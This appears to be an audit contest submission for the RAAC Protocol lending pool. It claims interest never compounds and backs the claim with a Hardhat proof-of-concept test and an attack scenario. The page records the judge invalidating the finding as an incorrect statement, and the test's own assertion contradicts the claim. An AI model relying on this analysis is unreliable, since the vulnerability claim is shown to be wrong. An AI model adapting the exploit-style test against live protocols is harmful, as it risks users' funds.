Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Interest Rate Accumulation Vulnerability in RAAC Protocol

Summary

During the audit of the RAAC Protocol's LendingPool contract, a critical vulnerability was identified in the interest rate accumulation mechanism. The current implementation fails to compound interest rates over time, which could lead to significant economic losses and potential exploitation.

Vulnerability Details

The vulnerability exists in the interest rate calculation and accumulation logic within the ReserveLibrary:

// ReserveLibrary.sol
function updateReserveState(
ReserveData storage reserve,
ReserveRateData storage rateData
) internal {
uint256 timeDelta = block.timestamp - reserve.lastUpdateTimestamp;
if (timeDelta > 0) {
uint256 liquidityRate = calculateLiquidityRate(reserve, rateData);
uint256 usageRate = calculateUsageRate(reserve, rateData);
// Missing critical interest accumulation logic
// Only updates timestamp without compounding interest
reserve.lastUpdateTimestamp = uint40(block.timestamp);
}
}

Key issues:

  • Interest rates are calculated but not compounded over time

  • The liquidityIndex and usageIndex remain static despite time passing

  • No actual accumulation of interest for lenders or borrowers

Test results demonstrate the issue:

Initial State:
Liquidity Index: 1000000000.0
After 24h with borrow:
Liquidity Index: 1000000000.0 // Should have increased
Utilization Rate: 50%
Borrow Rate: 7.187499999999999% // Should have compounded

Impact

The vulnerability has severe implications for the protocol's economic security:

  • Financial Losses:

  • Lenders lose earned interest

  • Protocol loses revenue from borrowing

  • Market rate misalignment creates arbitrage opportunities

2. Economic Exploitation:

Attack Scenario:
1. Attacker deposits 1000 USDC
2. Borrows 500 USDC at 7% APR
3. Holds position for 1 year
4. Expected repayment: 535 USDC
5. Actual repayment: 500 USDC (no interest accumulated)
Profit: 35 USDC per 500 USDC borrowed

POC

describe("First Deposit Attack - Borrow Manipulation", function () {
it("should test deposit/borrow manipulation", async function () {
// Clear existing state
await rToken.connect(user2).approve(lendingPool.target, ethers.parseEther("1000"));
await lendingPool.connect(user2).withdraw(ethers.parseEther("1000"));
// Setup NFT for collateral
const tokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
console.log("\nInitial State:");
console.log("RToken Supply:", ethers.formatEther(await rToken.totalSupply()));
// 1. Make initial small deposit
const initialDeposit = ethers.parseEther("1");
await crvusd.connect(user1).approve(lendingPool.target, initialDeposit);
await lendingPool.connect(user1).deposit(initialDeposit);
// Record initial state
const initialLiquidityIndex = await rToken.getLiquidityIndex();
console.log("Initial Liquidity Index:", ethers.formatEther(initialLiquidityIndex));
// 2. Borrow against NFT to create utilization
const borrowAmount = ethers.parseEther("0.5");
await lendingPool.connect(user1).borrow(borrowAmount);
// Record state after borrow
console.log("\nAfter Borrow:");
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("Borrow Rate:",
(await getCurrentBorrowRatePercentage(lendingPool)).toString(), "%");
// Advance time to accrue interest
await ethers.provider.send("evm_increaseTime", [86400]); // 24 hours
await ethers.provider.send("evm_mine", []);
await lendingPool.connect(user1).updateState();
console.log("\nAfter 24h with borrow:");
console.log("Liquidity Index:", ethers.formatEther(await rToken.getLiquidityIndex()));
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("Borrow Rate:",
(await getCurrentBorrowRatePercentage(lendingPool)).toString(), "%");
console.log("Liquidity Rate:",
(await getCurrentLiquidityRatePercentage(lendingPool)).toString(), "%");
// 3. Victim makes large deposit
const victimDeposit = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, victimDeposit);
await lendingPool.connect(user2).deposit(victimDeposit);
// Record state after victim deposit
console.log("\nAfter Victim Deposit:");
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("RToken Supply:", ethers.formatEther(await rToken.totalSupply()));
// 4. Repay borrow
const debtAmount = await debtToken.balanceOf(user1.address);
console.log("\nDebt to repay:", ethers.formatEther(debtAmount));
// Approve lending pool (not rToken) for repayment
await crvusd.connect(user1).approve(lendingPool.target, debtAmount);
await lendingPool.connect(user1).repay(debtAmount);
// 5. Withdraw initial deposit
const attackerRTokenBalance = await rToken.balanceOf(user1.address);
await rToken.connect(user1).approve(lendingPool.target, attackerRTokenBalance);
const balanceBeforeWithdraw = await crvusd.balanceOf(user1.address);
await lendingPool.connect(user1).withdraw(attackerRTokenBalance);
const balanceAfterWithdraw = await crvusd.balanceOf(user1.address);
// Calculate results
const withdrawnAmount = balanceAfterWithdraw - balanceBeforeWithdraw;
const profit = withdrawnAmount - initialDeposit;
console.log("\nAttack Results:");
console.log("Initial Deposit:", ethers.formatEther(initialDeposit));
console.log("Borrowed Amount:", ethers.formatEther(borrowAmount));
console.log("Withdrawn Amount:", ethers.formatEther(withdrawnAmount));
console.log("Profit/Loss:", ethers.formatEther(profit));
// Check victim's position
const victimRTokenBalance = await rToken.balanceOf(user2.address);
const victimShare = Number(victimRTokenBalance) * 100 / Number(await rToken.totalSupply());
console.log("\nVictim Position:");
console.log("RToken Balance:", ethers.formatEther(victimRTokenBalance));
console.log("Share of Pool:", victimShare.toFixed(2), "%");
// Check final system state
console.log("\nFinal System State:");
console.log("Total Supply:", ethers.formatEther(await rToken.totalSupply()));
console.log("Contract Balance:", ethers.formatEther(await crvusd.balanceOf(rToken.target)));
console.log("Dust Amount:", ethers.formatEther(await rToken.calculateDustAmount()));
// Verify interest accrual
expect(await rToken.getLiquidityIndex()).to.be.gt(initialLiquidityIndex);
});
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.